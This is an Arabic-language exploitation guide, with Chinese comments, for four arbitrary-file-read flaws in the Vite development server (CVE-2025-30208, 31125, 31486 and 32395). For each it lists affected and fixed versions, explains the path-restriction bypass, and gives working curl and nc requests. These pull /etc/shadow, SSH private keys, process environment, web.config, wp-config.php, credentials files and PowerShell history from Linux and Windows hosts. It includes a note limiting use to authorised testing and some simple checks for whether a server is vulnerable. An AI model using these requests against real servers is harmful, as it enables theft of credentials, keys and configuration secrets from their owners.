
دليل استغلال ونص برمجي للكشف التلقائي عن أربع ثغرات قراءة ملفات عشوائية في خادم تطوير Vite (CVE-2025-30208/31125/31486/32395) مع أمثلة لأنظمة Linux وWindows.
يلخص هذا المستند طرق استغلال أربع ثغرات لقراءة الملفات التعسفية في خادم التطوير Vite، بما في ذلك أمثلة لأنظمة Linux وWindows. يرجى الملاحظة: يُستخدم فقط في بيئات الاختبار الأمني المصرح بها.
تسمح هذه الثغرات الأربع في خادم التطوير Vite للمهاجم بتجاوز قيود server.fs.deny وقراءة أي ملف على الخادم. تستخدم كل ثغرة تقنية تجاوز مختلفة، لكن المبدأ الأساسي متشابه.
تتطلب جميع الثغرات الأربع توفر الشروط التالية للاستغلال:
--host أو خيار التكوين server.host)الإصدارات المتأثرة: < 6.2.3, < 6.1.2, < 6.0.12, < 5.4.15, < 4.5.10
الإصدارات المُصلحة: 6.2.3, 6.1.2, 6.0.12, 5.4.15, 4.5.10
مبدأ الاستغلال: عن طريق إضافة معاملات الاستعلام ?raw?? أو ?import&raw?? إلى عنوان URL، يتم تجاوز قيود مسار @fs. وذلك لأن الفاصل اللاحق (مثل ?) يُزال من عدة أماكن، لكنه لم يُؤخذ في الاعتبار في التعبير النمطي لسلسلة الاستعلام.
مثال على الاستغلال في نظام Linux:```bash
curl "http://[目标IP]:5173/@fs/etc/passwd?raw??" curl "http://[目标IP]:5173/@fs/etc/passwd?import&raw??" curl "http://[目标IP]:5173/@fs/var/log/auth.log?raw??" curl "http://[目标IP]:5173/@fs/home/[用户名]/.ssh/id_rsa?raw??"
curl "http://[目标IP]:5173/@fs/etc/passwd" # 应返回403错误 curl "http://[目标IP]:5173/@fs/etc/passwd?raw??" # 如果返回文件内容,则存在漏洞
**مثال استغلال نظام Windows**:```bash
# 读取任意文件
curl "http://[目标IP]:5173/@fs/C:/Windows/win.ini?raw??"
curl "http://[目标IP]:5173/@fs/C:/Windows/system32/drivers/etc/hosts?raw??"
curl "http://[目标IP]:5173/@fs/C:/Users/Administrator/Desktop/credentials.txt?raw??"
curl "http://[目标IP]:5173/@fs/C:/inetpub/wwwroot/web.config?raw??"
# 验证漏洞是否存在
curl "http://[目标IP]:5173/@fs/C:/Windows/win.ini" # 应返回403错误
curl "http://[目标IP]:5173/@fs/C:/Windows/win.ini?raw??" # 如果返回文件内容,则存在漏洞
الإصدارات المتأثرة: نفس إصدار CVE-2025-30208
الإصدارات التي تم إصلاحها: نفس إصدار CVE-2025-30208
مبدأ الاستغلال: استخدام طرق استيراد محددة، مثل ?inline&import أو ?raw?import، لتجاوز تكوين server.fs.deny.
مثال على الاستغلال في نظام Linux:```bash
curl "http://[目标IP]:5173/@fs/etc/passwd?inline&import" curl "http://[目标IP]:5173/@fs/etc/passwd?raw?import" curl "http://[目标IP]:5173/@fs/etc/shadow?inline&import" curl "http://[目标IP]:5173/@fs/proc/self/environ?inline&import"
curl "http://[目标IP]:5173/@fs/etc/passwd" # 应返回403错误 curl "http://[目标IP]:5173/@fs/etc/passwd?inline&import" # 如果返回文件内容,则存在漏洞
**مثال لاستغلال نظام ويندوز**:```bash
# 读取任意文件
curl "http://[目标IP]:5173/@fs/C:/Windows/win.ini?inline&import"
curl "http://[目标IP]:5173/@fs/C:/Windows/system32/drivers/etc/hosts?inline&import"
curl "http://[目标IP]:5173/@fs/C:/Program Files/MySQL/MySQL Server 8.0/my.ini?inline&import"
curl "http://[目标IP]:5173/@fs/C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/PowerShell/PSReadLine/ConsoleHost_history.txt?inline&import"
# 验证漏洞是否存在
curl "http://[目标IP]:5173/@fs/C:/Windows/win.ini" # 应返回403错误
curl "http://[目标IP]:5173/@fs/C:/Windows/win.ini?inline&import" # 如果返回文件内容,则存在漏洞
الإصدارات المتأثرة: < 6.2.5, < 6.1.4, < 6.0.14, < 5.4.17, < 4.5.12
الإصدارات المُصححة: 6.2.5, 6.1.4, 6.0.14, 5.4.17, 4.5.12
مبدأ الاستغلال:
?.svg?.wasm?init أو استخدام رأس sec-fetch-dest: script لتجاوز فحص القيود على ملفات .svg../../) لتجاوز القيودمثال استغلال على نظام Linux:```bash
curl "http://[目标IP]:5173/etc/passwd?.svg?.wasm?init" curl -H "sec-fetch-dest: script" "http://[目标IP]:5173/etc/passwd?.svg" curl "http://[目标IP]:5173/etc/nginx/nginx.conf?.svg?.wasm?init" curl "http://[目标IP]:5173/var/www/html/config.php?.svg?.wasm?init"
curl "http://[目标IP]:5173/@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?raw" curl "http://[目标IP]:5173/@fs/x/x/x/vite-project/?/../../../../../etc/shadow?import&?raw" curl "http://[目标IP]:5173/@fs/x/x/x/vite-project/?/../../../../../var/log/auth.log?import&?raw"
curl "http://[目标IP]:5173/etc/passwd" # 应返回404错误 curl "http://[目标IP]:5173/etc/passwd?.svg?.wasm?init" # 如果返回文件内容,则存在漏洞
**مثال لاستغلال نظام Windows**:```bash
# SVG绕过方法
curl "http://[目标IP]:5173/C:/Windows/win.ini?.svg?.wasm?init"
curl -H "sec-fetch-dest: script" "http://[目标IP]:5173/C:/Windows/win.ini?.svg"
curl "http://[目标IP]:5173/C:/inetpub/wwwroot/web.config?.svg?.wasm?init"
curl "http://[目标IP]:5173/C:/Windows/Panther/Unattend.xml?.svg?.wasm?init"
# 相对路径绕过方法
curl "http://[目标IP]:5173/@fs/x/x/x/vite-project/?/../../../../../C:/Windows/win.ini?import&?raw"
curl "http://[目标IP]:5173/@fs/x/x/x/vite-project/?/../../../../../C:/Windows/system32/drivers/etc/hosts?import&?raw"
curl "http://[目标IP]:5173/@fs/x/x/x/vite-project/?/../../../../../C:/Users/Administrator/Desktop/credentials.txt?import&?raw"
# 验证漏洞是否存在
curl "http://[目标IP]:5173/C:/Windows/win.ini" # 应返回404错误
curl "http://[目标IP]:5173/C:/Windows/win.ini?.svg?.wasm?init" # 如果返回文件内容,则存在漏洞
ملاحظة: يكون تجاوز SVG فعالاً فقط عندما يكون الملف أصغر من build.assetsInlineLimit (افتراضيًا 4 كيلوبايت) وعند استخدام Vite 6.0+.
الإصدارات المتأثرة: < 6.2.6, < 6.1.5, < 6.0.15, < 5.4.18, < 4.5.13
الإصدارات المُصحَّحة: 6.2.6, 6.1.5, 6.0.15, 5.4.18, 4.5.13
مبدأ الاستغلال: استغلال خاصية عدم السماح باستخدام رمز # في request-target وفقًا لمواصفات HTTP/1.1. في بيئتي تشغيل Node وBun، لا تُرفض هذه الطلبات داخليًا، حيث يحتوي http.IncomingMessage.url على #، بينما يفترض Vite عند التحقق من server.fs.deny أن req.url لا يحتوي على #.
مثال استغلال على نظام Linux:```bash
curl --request-target "/@fs/Users/[用户名]/Desktop/vite-project/#/../../../../../etc/passwd" "http://[目标IP]:5173" curl --request-target "/@fs/Users/[用户名]/Desktop/vite-project/#/../../../../../etc/shadow" "http://[目标IP]:5173" curl --request-target "/@fs/Users/[用户名]/Desktop/vite-project/#/../../../../../var/www/html/wp-config.php" "http://[目标IP]:5173"
echo -e "GET /@fs/Users/[用户名]/Desktop/vite-project/#/../../../../../etc/passwd HTTP/1.1\r\nHost: [目标IP]:5173\r\nConnection: close\r\n\r\n" | nc [目标IP] 5173 echo -e "GET /@fs/Users/[用户名]/Desktop/vite-project/#/../../../../../etc/shadow HTTP/1.1\r\nHost: [目标IP]:5173\r\nConnection: close\r\n\r\n" | nc [目标IP] 5173
curl "http://[目标IP]:5173/@fs/etc/passwd" # 应返回403错误 curl --request-target "/@fs/x/#/../../../../../etc/passwd" "http://[目标IP]:5173" # 如果返回文件内容,则存在漏洞
**مثال لاستغلال نظام ويندوز**:```bash
# 使用curl的--request-target选项
curl --request-target "/@fs/Users/[用户名]/Desktop/vite-project/#/../../../../../C:/Windows/win.ini" "http://[目标IP]:5173"
curl --request-target "/@fs/Users/[用户名]/Desktop/vite-project/#/../../../../../C:/Windows/system32/drivers/etc/hosts" "http://[目标IP]:5173"
curl --request-target "/@fs/Users/[用户名]/Desktop/vite-project/#/../../../../../C:/inetpub/wwwroot/web.config" "http://[目标IP]:5173"
curl --request-target "/@fs/Users/[用户名]/Desktop/vite-project/#/../../../../../C:/Program Files/Microsoft SQL Server/MSSQL15.SQLEXPRESS/MSSQL/DATA/master.mdf" "http://[目标IP]:5173"
# 或使用原始HTTP请求
echo -e "GET /@fs/Users/[用户名]/Desktop/vite-project/#/../../../../../C:/Windows/win.ini HTTP/1.1\r\nHost: [目标IP]:5173\r\nConnection: close\r\n\r\n" | nc [目标IP] 5173
echo -e "GET /@fs/Users/[用户名]/Desktop/vite-project/#/../../../../../C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/PowerShell/PSReadLine/ConsoleHost_history.txt HTTP/1.1\r\nHost: [目标IP]:5173\r\nConnection: close\r\n\r\n" | nc [目标IP] 5173